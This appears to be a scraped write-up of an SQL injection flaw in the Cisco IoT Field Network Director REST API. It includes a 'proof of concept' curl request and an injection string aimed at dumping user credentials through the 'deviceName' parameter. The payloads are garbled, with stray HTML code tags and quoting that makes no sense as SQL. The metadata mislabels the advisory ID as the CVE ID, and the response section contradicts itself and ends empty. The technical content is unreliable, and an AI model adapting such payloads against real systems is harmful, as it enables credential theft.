

Cisco IoT Field Network REST API Insufficient Input Validation Vulnerability

CVE ID : [cisco-sa-FND-SQL-zEkBnL2h](#)
 Published : 2020-11-18 16:00
 Version : Final
 CVSS Score : [6.3](#)
 Workarounds : No workarounds available
 Cisco ID : [CSCvt45225](#)

[CVE-2020-26075](#)

[cisco-sa-FND-SQL-zEkBnL2h](#)

Summary

Cisco IoT Field Network Director(FND) REST API

allows an attacker to inject arbitrary SQL queries into the database via the `deviceName` parameter.

The vulnerability exists in the REST API of Cisco IoT Field Network Director (FND) versions 1.4.6.1 and earlier.

An attacker can exploit this vulnerability by sending a request to the REST API with a specially crafted `deviceName` parameter.

The attacker can inject arbitrary SQL queries into the database, which can be used to extract sensitive information from the database.

For example, an attacker can inject the following SQL query to retrieve all user credentials from the database:

```
deviceName='"SELECT * FROM users WHERE password='<code>--</code>'"
```

For more information, please refer to the [Cisco Security Advisory](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-FND-SQL-zEkBnL2h).

Proof of Concept

Request

```
curl -X GET -H "Content-Type: application/json" -d '{"deviceName": "<code>\"SELECT * FROM users WHERE password='\"--</code>\""}' https://192.168.1.1:443/api/v1/devices/<code>1234567890</code>
```

The response will contain the details of all users in the database, including their usernames and passwords.

Response

The response will be a JSON object containing the details of the user whose password was retrieved:
